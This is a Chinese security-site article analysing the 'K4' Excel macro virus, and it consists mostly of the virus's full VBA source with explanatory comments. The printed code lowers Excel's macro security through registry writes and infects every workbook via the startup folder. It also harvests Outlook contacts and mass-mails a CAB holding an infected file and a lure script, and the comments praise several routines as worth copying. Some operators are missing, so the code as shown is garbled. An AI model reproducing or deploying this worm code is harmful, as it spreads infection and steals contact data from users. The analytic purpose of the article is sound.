您的位置: 网界网 > 网络学院-安全 > 正文

新型K4宏病毒代码分析报告

2013年07月04日 17:33:41 | 作者:佚名 | 来源:51CTO | 查看本文手机版

摘要:最近据说是新型的K4宏病毒到处肆虐,感染了办公室不少.xls文件,杀又杀不干净。对此互比较感兴趣,花了点时间跟踪了一下代码,并作了简要注释,基本了解该病毒的行为: 以ToDOLE模块中的代码,在虚拟机XP Excel2003下跟踪并注...

标签
K4宏病毒宏病毒

最近据说是新型的K4宏病毒到处肆虐,感染了办公室不少.xls文件,杀又杀不干净。对此互比较感兴趣,花了点时间跟踪了一下代码,并作了简要注释,基本了解该病毒的行为:

以ToDOLE模块中的代码,在虚拟机XP Excel2003下跟踪并注释了关键代码:

"病毒行为主过程

Private Sub auto_open()

Application.DisplayAlerts = False

If ThisWorkbook.Path <> Application.StartupPath Then

Application.ScreenUpdating = False

"删除.xls文件里的ThisWorkBook表单,以便写入带毒宏代码;

Call delete_this_wk

"复制带毒宏代码

Call copytoworkbook

"如果当前文件已经感染,则保存。

If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook

ThisWorkbook.Save

Application.ScreenUpdating = True

End If

End Sub

"以下过程向ThisWorkbook写入一段激活带毒代码;

Private Sub copytoworkbook()

Const DQUOTE = """"

With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule

.InsertLines 1, "Public WithEvents xx As Application"

.InsertLines 2, "Private Sub Workbook_open()"

.InsertLines 3, "Set xx = Application"

.InsertLines 4, "On Error Resume Next"

.InsertLines 5, "Application.DisplayAlerts = False"

.InsertLines 6, "Call do_what"

.InsertLines 7, "End Sub"

.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"

.InsertLines 9, "On Error Resume Next"

.InsertLines 10, "wb.VBProject.References.AddFromGuid _"

.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"

.InsertLines 12, "Major:=5, Minor:=3"

.InsertLines 13, "Application.ScreenUpdating = False"

.InsertLines 14, "Application.DisplayAlerts = False"

.InsertLines 15, "copystart wb"

.InsertLines 16, "Application.ScreenUpdating = True"

.InsertLines 17, "End Sub"

End With

End Sub

"删除临时工作表过程

Private Sub delete_this_wk()

Dim VBProj As VBIDE.VBProject

Dim VBComp As VBIDE.VBComponent

Dim CodeMod As VBIDE.CodeModule

Set VBProj = ThisWorkbook.VBProject

Set VBComp = VBProj.VBComponents("ThisWorkbook")

Set CodeMod = VBComp.CodeModule

With CodeMod

.DeleteLines 1, .CountOfLines

End With

End Sub

"病毒的主要行为框架

Function do_what()

If ThisWorkbook.Path <> Application.StartupPath Then

"检测并当前打开xls文件时的状态,并初始化一些准备工作。

RestoreAfterOpen

"通过修改注册信任VB项,为下面的感染提供可能性。

Call OpenDoor

"把带毒模块写入Excel的自动启动项目,实现感染传播

Call Microsofthobby

"病毒的主体行为(大致是收集outlook的用户邮件列表并发送到指定邮箱里)

Call ActionJudge

End If

End Function

"把带毒模块"k4.xls"附加进每个打开的xls文件里。

Function copystart(ByVal wb As Workbook)

On Error Resume Next

Dim VBProj1 As VBIDE.VBProject

Dim VBProj2 As VBIDE.VBProject

Set VBProj1 = Workbooks("k4.xls").VBProject

Set VBProj2 = wb.VBProject

"如果已经感染过,就退出

If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function

End Function

"把"k4.xls"带毒模块附加进每个打开的xls文件里。

Function copymodule(ModuleName As String, _

FromVBProject As VBIDE.VBProject, _

ToVBProject As VBIDE.VBProject, _

OverwriteExisting As Boolean) As Boolean

On Error Resume Next

Dim VBComp As VBIDE.VBComponent

Dim FName As String

Dim CompName As String

Dim S As String

Dim SlashPos As Long

Dim ExtPos As Long

Dim TempVBComp As VBIDE.VBComponent

If FromVBProject Is Nothing Then

copymodule = False

Exit Function

End If

If Trim(ModuleName) = vbNullString Then

copymodule = False

Exit Function

End If

If ToVBProject Is Nothing Then

copymodule = False

Exit Function

End If

If FromVBProject.Protection = vbext_pp_locked Then

copymodule = False

Exit Function

End If

If ToVBProject.Protection = vbext_pp_locked Then

copymodule = False

Exit Function

End If

On Error Resume Next

Set VBComp = FromVBProject.VBComponents(ModuleName)

If Err.Number <> 0 Then

copymodule = False

Exit Function

End If

FName = Environ("Temp") & "\" & ModuleName & ".bas"

If OverwriteExisting = True Then

If Dir(FName, vbNormal vbHidden vbSystem) <> vbNullString Then

Err.Clear

Kill FName

If Err.Number <> 0 Then

copymodule = False

Exit Function

End If

End If

With ToVBProject.VBComponents

.Remove .Item(ModuleName)

End With

Else

Err.Clear

Set VBComp = ToVBProject.VBComponents(ModuleName)

If Err.Number <> 0 Then

If Err.Number = 9 Then

Else

copymodule = False

Exit Function

End If

End If

End If

FromVBProject.VBComponents(ModuleName).Export FileName:=FName

SlashPos = InStrRev(FName, "\")

ExtPos = InStrRev(FName, ".")

CompName = Mid(FName, SlashPos 1, ExtPos - SlashPos - 1)

Set VBComp = Nothing

Set VBComp = ToVBProject.VBComponents(CompName)

If VBComp Is Nothing Then

ToVBProject.VBComponents.Import FileName:=FName

Else

If VBComp.Type = vbext_ct_Document Then

Set TempVBComp = ToVBProject.VBComponents.Import(FName)

With VBComp.CodeModule

.DeleteLines 1, .CountOfLines

S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)

.InsertLines 1, S

End With

On Error GoTo 0

ToVBProject.VBComponents.Remove TempVBComp

End If

End If

Kill FName

copymodule = True

End Function

"在Excel的启动目录里保存带毒模块文件k4.xls,导致所有打开的.xls文件都自动附加上这个带毒模块。

Function Microsofthobby()

Dim myfile0 As String

Dim MyFile As String

On Error Resume Next

myfile0 = ThisWorkbook.FullName

MyFile = Application.StartupPath & "\k4.xls"

"如果文件已经存在,则先删除,再保存。

If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False

Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus

Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus

Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus

If ThisWorkbook.Path <> Application.StartupPath Then

Application.ScreenUpdating = False

ThisWorkbook.IsAddin = True

ThisWorkbook.SaveCopyAs MyFile

ThisWorkbook.IsAddin = False

Application.ScreenUpdating = True

End If

End Function

"修改注册表,降低Excel的宏安全级别,让Excel接受所有VB项目的运行。

Function OpenDoor()

Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String

Dim KValue1 As Variant, KValue2 As Variant

Dim VS As String

On Error Resume Next

VS = Application.Version

Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"

RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"

RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

KValue1 = 1

KValue2 = 1

Call WReg(RK1, KValue1, "REG_DWORD")

Call WReg(RK2, KValue2, "REG_DWORD")

Call WReg(RK3, KValue1, "REG_DWORD")

Call WReg(RK4, KValue2, "REG_DWORD")

End Function

"子函数:实现注册表的写入功能。

Sub WReg(strkey As String, Value As Variant, ValueType As String)

Dim oWshell

Set oWshell = CreateObject("WScript.Shell")

If ValueType = "" Then

oWshell.RegWrite strkey, Value

Else

oWshell.RegWrite strkey, Value, ValueType

End If

Set oWshell = Nothing

End Sub

"宏病毒自我复制的一个过程。创建一个隐藏的"Macro1"工作表,并写入一些内容,备用。

Private Sub Movemacro4(ByVal wb As Workbook)

On Error Resume Next

Dim sht As Object

wb.Sheets(1).Select

Sheets.Add Type:=xlExcel4MacroSheet

ActiveSheet.Name = "Macro1"

Range("A2").Select

ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"

Range("A3").Select

ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"

Range("A4").Select

ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏,关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"

Range("A5").Select

ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"

Range("A6").Select

ActiveCell.FormulaR1C1 = "=END.IF()"

Range("A7").Select

ActiveCell.FormulaR1C1 = "=RETURN()"

For Each sht In wb.Sheets

wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False

Next

wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden

End Sub

"尝试打开工作簿函数

Private Function WorkbookOpen(WorkBookName As String) As Boolean

WorkbookOpen = False

On Error GoTo WorkBookNotOpen

If Len(Application.Workbooks(WorkBookName).Name) > 0 Then

WorkbookOpen = True

Exit Function

End If

WorkBookNotOpen:

End Function

"病毒主体行为集中在此过程,是个通过收集和发送邮件的方式把带毒文件传播的过程。

Private Sub ActionJudge()

Const T1 As Date = "10:00:00"

Const T2 As Date = "11:00:00"

Const T3 As Date = "14:00:00"

Const T4 As Date = "15:00:00"

Dim SentTime As Date, WshShell

"通过强大的WScript.Shell对象进行操作。

Set WshShell = CreateObject("WScript.Shell")

"判断是安装有Outlook邮件程序,如果没有安装,病毒行为中止。

If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") > 0 Then Exit Sub

"判断当前时间,在早上11-12点时,则读取已经搜索好的地址文件

If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then

"读取已经收集好的邮件地址文件标志,如果不符合条件,则退出

If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then

Exit Sub

"否则,将搜索里面的内容

Else

CreateFile "1", "D:\Collected_Address:frag1.txt"

search_in_OL

End If

"如果不在指定的时间段,则执行以下行为:

Else

"判断有没有安装OutLook,如果没有安装,则结束代码。

If Not if_outlook_open Then Exit Sub

"再判断一个特定时间段,

If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then

Exit Sub

Else

SentTime = DateAdd("n", -21, Now)

On Error GoTo timeError

SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))

timeError:

If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then

Exit Sub

Else

"创建一个文件文件,保存导出的邮件地址文件

CreateFile "", "D:\Collected_Address:frag1.txt"

CreateFile Now, "D:\Collected_Address:frag2.txt"

"以邮件的形式将这些收集到的邮件地址打包并发送到指定的地址,病毒的主体行为目的在此!!

"即把带毒的vbs和xls文件打包好成cab文件,然后指发送到搜集到的Outlook里的用户列表地址中去,

"以此实现网络传播……

CreatCab_SendMail

End If

End If

End If

End Sub

"以下过程通过创建Wscript对象执行一段在后台搜索Outlook用户邮件地址列表的vbs脚本。

"奶奶的,写得不错,值得借鉴。

Private Sub search_in_OL()

Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object

On Error Resume Next

"启动强大的scripting.filesystemobject对象搜索文件

Set fs = CreateObject("scripting.filesystemobject")

Set WshShell = CreateObject("WScript.Shell")

"创建E:\KK文件夹,临时保存等一下用到的 "<.xls文件名>_clear.vbs"

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"

AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")

AddVbsFile_clear = "E:\KK\" & AttName & "_clear.vbs"

i = FreeFile

"准备在该.vbs文件中写入代码。

"大概意思:激活当前Outlook到最前窗口,并发送一系列按键(未测试这些按键对Outlook操作了什么)。

Open AddVbsFile_clear For Output Access Write As #i

Print #i, "On error Resume Next"

Print #i, "Dim wsh, tle, T0, i"

Print #i, "  T0 = Timer"

Print #i, "  Set wsh=createobject(""" & "wscript.shell""" & ")"

Print #i, "  tle = """ & "Microsoft Office Outlook""" & ""

Print #i, "For i = 1 To 1000"

Print #i, "    If Timer - T0 > 60 Then Exit For"

Print #i, "  Call Refresh()"

Print #i, "  wscript.sleep 05"

Print #i, "  wsh.sendKeys """ & "%a""" & ""

Print #i, "  wscript.sleep 05"

Print #i, "  wsh.sendKeys """ & "{TAB}{TAB}""" & ""

Print #i, "  wscript.sleep 05"

Print #i, "  wsh.sendKeys """ & "{Enter}""" & ""

Print #i, "Next"

Print #i, "Set wsh = Nothing"

Print #i, "wscript.quit"

Print #i, "Sub Refresh()"

Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"

Print #i, "    If Timer - T0 > 60 Then Exit Sub"

Print #i, "Loop"

Print #i, "  wscript.sleep 05"

Print #i, "    wsh.SendKeys """ & "%{F4}""" & ""

Print #i, "End Sub"

Close (i)

"再生成一个"<.xls文件名>_Search.vbs"文件,并写入代码

"代码功能是在后台收集Outlook的好友邮件列表。看来作者对Outlook的用户列表文件内容研究很深入。

"奶奶的,居然还调用了“正则表达式”来提取邮件地址,真有两下子。

AddVbsFile_search = "E:\KK\" & AttName & "_Search.vbs"

i = FreeFile

Open AddVbsFile_search For Output Access Write As #i

Print #i, "On error Resume Next"

Print #i, "Const olFolderInbox = 6"

Print #i, "Dim conbinded_address,WshShell,sh,ts"

Print #i, "Set WshShell=WScript.CreateObject(""" & "WScript.Shell""" & ")"

Print #i, "Set objOutlook = CreateObject(""" & "Outlook.Application""" & ")"

Print #i, "Set objNamespace = objOutlook.GetNamespace(""" & "MAPI""" & ")"

Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"

Print #i, "Set TargetFolder = objFolder"

Print #i, "conbinded_address = """ & """" & ""

Print #i, "Set colItems = TargetFolder.Items"

Print #i, "wscript.sleep 300000"

Print #i, "WshSHell.Run (""" & "wscript.exe " & AddVbsFile_clear & """" & "), vbHide, False"

Print #i, "ts = Timer"

Print #i, "For Each objMessage in colItems"

Print #i, "       If Timer - ts >55 then exit For"

Print #i, "       conbinded_address = conbinded_address & valid_address(objMessage.Body)"

Print #i, "Next"

Print #i, "add_text conbinded_address, 8"

Print #i, "add_text all_non_same(ReadAllTextFile), 2"

Print #i, "WScript.Quit"

Print #i, ""

Print #i, "Private Function valid_address(source_data)"

Print #i, "   Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"

Print #i, "   Dim regex, matchs, ss, arr()"

Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"

Print #i, "   Set regex = CreateObject(""" & "VBSCRIPT.REGEXP""" & ")"

Print #i, ""

Print #i, "   regex.Global = True"

"这里学习啦,提取邮件地址的正则!

Print #i, "   regex.Pattern = """ & "\w ([- .]\w )*@\w ([-.]\w )*\.\w ([-.]\w )*""" & ""

Print #i, "   Set matchs = regex.Execute(source_data)"

Print #i, "   ReDim trimed_arr(matchs.Count - 1)"

Print #i, "   For i = Lbound(trimed_arr) To Ubound(trimed_arr)"

Print #i, "        trimed_arr(i) = matchs.Item(i) & vbCrLf"

Print #i, "   Next"

Print #i, ""

Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"

Print #i, "        oDict(trimed_arr(i)) = """ & """" & ""

Print #i, "   Next"

Print #i, ""

Print #i, "   If oDict.Count > 0 Then"

Print #i, "        nonsame_arr = oDict.keys"

Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"

Print #i, "             valid_address = valid_address & nonsame_arr(i)"

Print #i, "        Next"

Print #i, "   End If"

Print #i, "   Set oDict = Nothing"

Print #i, "End Function"

Print #i, ""

"把搜索到的邮件地址字符串保存到以下新建的D:\Collected_Address\log.txt文件里去。

Print #i, "Private Sub add_text(inputed_string, input_frag)"

Print #i, "   Dim objFSO, logfile, logtext, log_path, log_folder"

Print #i, "   log_path = """ & "D:\Collected_Address""" & ""

Print #i, "   Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"

Print #i, "   On Error resume next"

Print #i, "   Set log_folder = objFSO.CreateFolder(log_path)"

Print #i, ""

Print #i, "   If objFSO.FileExists(log_path & """ & "\log.txt""" & ") = 0 Then"

Print #i, "       Set logfile = objFSO.CreateTextFile(log_path & """ & "\log.txt""" & ", True)"

Print #i, "   End If"

Print #i, "   Set log_folder = Nothing"

Print #i, "   Set logfile = Nothing"

Print #i, ""

Print #i, "   Select Case input_frag"

Print #i, "     Case 8"

Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 8, True, -1)"

Print #i, "          logtext.Write inputed_string"

Print #i, "          logtext.Close"

Print #i, "     Case 2"

Print #i, "          Set logtext = objFSO.OpenTextFile(log_path & """ & "\log.txt""" & ", 2, True, -1)"

Print #i, "          logtext.Write inputed_string"

Print #i, "          logtext.Close"

Print #i, "   End Select"

Print #i, "   set objFSO = nothing"

Print #i, "End Sub"

Print #i, ""

Print #i, "Private Function ReadAllTextFile()"

Print #i, "    Dim objFSO, FileName, MyFile"

Print #i, "    FileName = """ & "D:\Collected_Address\log.txt""" & ""

Print #i, "    Set objFSO = CreateObject(""" & "Scripting.FileSystemObject""" & ")"

Print #i, "    Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"

Print #i, "    If MyFile.AtEndOfStream Then"

Print #i, "        ReadAllTextFile = """ & """" & ""

Print #i, "    Else"

Print #i, "        ReadAllTextFile = MyFile.ReadAll"

Print #i, "    End If"

Print #i, "set objFSO = nothing"

Print #i, "End Function"

Print #i, ""

Print #i, "Private Function all_non_same(source_data)"

Print #i, "   Dim oDict, i, trimed_arr, nonsame_arr"

Print #i, "   all_non_same = """ & """" & ""

Print #i, "   Set oDict = CreateObject(""" & "Scripting.Dictionary""" & ")"

Print #i, ""

Print #i, "   trimed_arr = Split(source_data, vbCrLf)"

Print #i, ""

Print #i, "   For i = LBound(trimed_arr) To UBound(trimed_arr)"

Print #i, "         oDict(trimed_arr(i)) = """ & """" & ""

Print #i, "   Next"

Print #i, ""

Print #i, "   If oDict.Count > 0 Then"

Print #i, "        nonsame_arr = oDict.keys"

Print #i, "        For i = LBound(nonsame_arr) To UBound(nonsame_arr)"

Print #i, "             all_non_same = all_non_same & nonsame_arr(i) & vbCrLf"

Print #i, "        Next"

Print #i, "   End If"

Print #i, "   Set oDict = Nothing"

Print #i, "End Function"

Close (i)

Application.WindowState = xlMaximized

"激活以上代码,当然是vbHide的形式

WshShell.Run ("wscript.exe " & AddVbsFile_search), vbHide, False

Set WshShell = Nothing

End Sub

"以下过程是把 带毒模块和一个vbs脚本文 件通过makecab命令打包保存到 "E:\SORCE\<文件名>.cab"文件里。

"NND,这个过程写得也相当巧妙,值得学习!

Private Sub CreatCab_SendMail()

Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String

Dim fs As Object, WshShell As Object

Address_list = get_ten_address

Set WshShell = CreateObject("WScript.Shell")

Set fs = CreateObject("scripting.filesystemobject")

If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"

AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), " ", "_"), ".", "_")

mail_sub = "*" & AttName & "*Message*"

AddVbsFile = "E:\sorce\" & AttName & "_Key.vbs"

i = FreeFile

Open AddVbsFile For Output Access Write As #i

Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"

Print #i, "On error Resume Next"

Print #i, "Set sh=WScript.CreateObject(""" & "shell.application""" & ")"

Print #i, "sh.MinimizeAll"

Print #i, "Set sh = Nothing"

Print #i, "Set Fso = CreateObject(""" & "Scripting.FileSystemObject""" & ")"

Print #i, "Set WshShell = WScript.CreateObject(""" & "WScript.Shell""" & ")"

Print #i, "If Fso.Folderexists(""" & "E:\KK""" & ") = False Then Fso.CreateFolder """ & "E:\KK"""

Print #i, "Fso.CopyFile  _"

Print #i, "WshShell.CurrentDirectory & """ & "\" & AttName & "*.CAB""" & "," & " " & """E:\KK\""" & ", True"

Print #i, "For Each Atta_xls In ListDir(""" & "E:\KK""" & ")"

Print #i, "   WshShell.Run """ & "expand """ & " & Atta_xls & """ & " -F:" & AttName & ".xls E:\KK""" & ", 0, true"

Print #i, "Next"

Print #i, "If Fso.FileExists(""" & "E:\KK\" & AttName & ".xls""" & ") = 0 then"

Print #i, "        route = WshShell.CurrentDirectory & """ & "\" & AttName & ".xls"""

Print #i, "        if Fso.FileExists(WshShell.CurrentDirectory & """ & "\" & AttName & ".xls""" & ")=0 then"

Print #i, "                 route = InputBox(""" & "Warning! """ & " & Chr(10) & """ & "You are going to open a confidential file.""" & "& Chr(10)   _"

Print #i, "                               & """ & "Please input the complete file path.""" & " & Chr(10) & """ & "ex. C:\parth\confidential_file.xls""" & ", _"

Print #i, "                               """ & "Open a File""" & " , """ & "Please Input the Complete File Path""" & ", 10000, 8500)"

Print #i, "        End if"

Print #i, "else"

Print #i, "        route = """ & "E:\KK\" & AttName & ".xls"""

Print #i, "End If"

Print #i, "   set oexcel=createobject(""" & "excel.application""" & ")"

Print #i, "   set owb=oexcel.workbooks.open(route)"

Print #i, "   oExcel.Visible = True"

Print #i, "Set oExcel = Nothing"

Print #i, "Set oWb = Nothing"

Print #i, "Set  WshShell = Nothing"

Print #i, "Set Fso = Nothing"

Print #i, "WScript.Quit"

Print #i, "Private Function ListDir (ByVal Path)"

Print #i, "   Dim Filter, a, n, Folder, Files, File"

Print #i, "       ReDim a(10)"

Print #i, "    n = 0"

Print #i, "  Set Folder = fso.GetFolder(Path)"

Print #i, "   Set Files = Folder.Files"

Print #i, "   For Each File In Files"

Print #i, "      If left(File.Name," & Len(AttName) & ") = """ & AttName & """ and right(File.Name,3) = """ & "CAB""" & " Then"

Print #i, "         If n > UBound(a) Then ReDim Preserve a(n*2)"

Print #i, "            a(n) = File.Path"

Print #i, "            n = n 1"

Print #i, "       End If"

Print #i, "   Next"

Print #i, "   ReDim Preserve a(n-1)"

Print #i, "   ListDir = a"

Print #i, "End Function"

Close (i)

AddListFile = ThisWorkbook.Path & "\TEST.txt"

i = FreeFile

Open AddListFile For Output Access Write As #i

Print #i, "E:\sorce\" & AttName & "_Key.vbs"

Print #i, "E:\sorce\" & AttName & ".xls"

Close (i)

Application.ScreenUpdating = False

RestoreBeforeSend

ThisWorkbook.SaveCopyAs "E:\sorce\" & AttName & ".xls"

RestoreAfterOpen

c4$ = CurDir()

ChDrive Left(ThisWorkbook.Path, 3) ""C:\"

ChDir ThisWorkbook.Path

"隐藏打包带病文件

WshShell.Run Environ$("comspec") & " /c makecab /F """ & ThisWorkbook.Path & "\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" & AttName & ".CAB", vbHide, False

Do Until fs.FileExists(ThisWorkbook.Path & "\TEST.txt") _

And fs.FileExists(ThisWorkbook.Path & "\setup.rpt") And fs.FileExists(ThisWorkbook.Path & "\setup.inf") _

And fs.FileExists(ThisWorkbook.Path & "\" & AttName & ".CAB")

DoEvents

Loop

WshShell.Run Environ$("comspec") & " /c RD /S /Q """ & ThisWorkbook.Path & "\disk1""", vbHide, False

"俗话说,偷吃要抹嘴啊~,删除那些临时文件。

WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\TEST.txt""", vbHide, False

WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.rpt""", vbHide, False

WshShell.Run Environ$("comspec") & " /c Del /F /Q """ & ThisWorkbook.Path & "\setup.inf""", vbHide, False

WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\sorce", vbHide, False

If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"

WshShell.Run Environ$("comspec") & " /c MOVE /Y " & AttName & ".CAB E:\KK""", vbHide, False

ChDir c4$

Call Massive_SendMail(Address_list, AttName, "Dear all," & vbCrLf & AttName & vbCrLf & "FYI", _

"", "E:\KK\" & AttName & ".CAB")

WshShell.Run Environ$("comspec") & " /c RD /S /Q E:\KK", vbHide, False

Set WshShell = Nothing

Application.ScreenUpdating = True

End Sub

"群发邮件过程:这个过程太有趣了,如果真的被运用了,你一定会被惊呆!!!

"居然是通过激活当前正在运行的Outlook,然后模拟按键进行群发邮件,这个过程让你感到:你被远程控制了!!

Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)

Dim objOL As Object

Dim itmNewMail As Object

If Not if_outlook_open Then Exit Sub

Set objOL = CreateObject("Outlook.Application")

Set itmNewMail = objOL.CreateItem(olMailItem)

With itmNewMail

.Subject = Subject

.Body = Body

.To = Email_Address

.CC = CC_email_add

.Attachments.Add Attachment

.DeleteAfterSubmit = True

End With

On Error GoTo continue

SendEmail:

itmNewMail.display

Debug.Print "setforth "

DoEvents

DoEvents

DoEvents

SendKeys "%s", Wait:=True

DoEvents

GoTo SendEmail

continue:

Set objOL = Nothing

Set itmNewMail = Nothing

End Sub

"以下函数通过读取进程列表,判断是否有Outlook运行。

Private Function if_outlook_open() As Boolean

Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")

if_outlook_open = False

For Each obj In objs

If InStr(obj.Description, "OUTLOOK") > 0 Then

if_outlook_open = True

Exit For

End If

Next

End Function

"生成一随机数,不感兴趣。

Private Function RadomNine(length As Integer) As String

Dim jj As Integer, k As Integer, i As Integer

RadomNine = ""

If length <= 0 Then Exit Function

If length <= 10 Then

For i = 1 To length

RadomNine = RadomNine & "$$" & i

Next i

Exit Function

End If

jj = length / 10

Randomize

For i = 1 To 10

k = Int(Rnd * (jj * i - m - 1)) 1

If m k <> 1 Then RadomNine = RadomNine & "$$" & m k

m = m k

Next

End Function

"从D:\Collected_Address\log.txt文件中读取已经收集好的邮件地址,用于群发。

Private Function get_ten_address() As String

Dim singleAddress_arr, krr, i As Integer

get_ten_address = ""

singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)

krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) 1), "$$")

For i = 1 To UBound(krr)

get_ten_address = get_ten_address & ";" & singleAddress_arr(CInt(krr(i)) - 1)

Next i

End Function

"调用FSO对象读取指定文件的属性

Private Function ReadOut(FullPath) As String

On Error Resume Next

Dim Fso, FileText

Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)

ReadOut = FileText.ReadAll

FileText.Close

End Function

"自定义一个创建文件过程,还带有标志呢,备用。

Private Sub CreateFile(FragMark, pathf)

On Error Resume Next

Dim Fso, FileText

"这是干嘛呢,"scRiPTinG.fiLEsysTeMoBjEcT"写得乱七八糟的,不就是Script.FileSystemObject对象嘛。

Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)

If Fso.FileExists(pathf) Then

Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)

FileText.Write FragMark

FileText.Close

Else

Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)

FileText.Write FragMark

FileText.Close

End If

End Sub

Private Sub RestoreBeforeSend()

Dim aa As Name, i_row As Integer, i_col As Integer

Dim sht As Object

Application.ScreenUpdating = False

Application.DisplayAlerts = False

On Error Resume Next

"以下清除在感染前写入的一些临时内容,出于隐蔽。

"历遍当前工作簿,如果隐藏代码段 Auto_Activate 的话(+本站微信networkworldweixin),删除!!不留痕迹。

For Each aa In ThisWorkbook.Names

aa.Visible = True

If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete

Next

"历遍当前工作表,如果有一个叫"Macro1"的话,删除!!不留痕迹。

For Each sht In ThisWorkbook.Sheets

If sht.Name = "Macro1" Then

sht.Visible = xlSheetVisible

sht.Delete

End If

Next

Sheets(1).Select

Sheets.Add

For Each sht In ThisWorkbook.Sheets

If sht.Name <> Sheets(1).Name Then sht.Visible = xlSheetVeryHidden

Next

"以下在第2个工作表里的随机单元格里写入一些内容:

"提示新用户去执行vbs文件来解琐文件,目的是忽悠用户来激活宏病毒。

i_row = Int((15 * Rnd) 1)

i_col = Int((6 * Rnd) 1)

Cells(i_row, i_col) = "** CONFIDENTIAL! ** "

Cells(i_row 2, i_col) = "Use " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " To Open This File."

Cells(i_row 3, i_col) = "请用 " & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & "_key.vbs" & Chr(34) & " 解锁此文件."

With Range(Cells(i_row, i_col), Cells(i_row 2, i_col))

.Font.Bold = True

.Font.ColorIndex = 3

End With

Application.ScreenUpdating = True

End Sub

"删除当前表中"A1:F15"区域所有含有带"CONFIDENTIAL"字样的内容。

Private Function RestoreAfterOpen()

Dim sht, del_sht, rng, del_frag As Boolean

On Error Resume Next

del_sht = ActiveSheet.Name

Application.ScreenUpdating = False

Application.DisplayAlerts = False

For Each sht In ThisWorkbook.Sheets

If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible

Next

For Each rng In Sheets(del_sht).Range("A1:F15")

If InStr(rng.Value, "CONFIDENTIAL") > 0 Then

del_frag = True

Exit For

End If

Next

If del_frag = True Then Sheets(del_sht).Delete

Application.ScreenUpdating = True

End Function

===================

小结:

这个被称为“K4”的宏病毒,主要行为是一个自我复制和传播的过程,对Excel文件本身的系统没有明显的破坏行为。

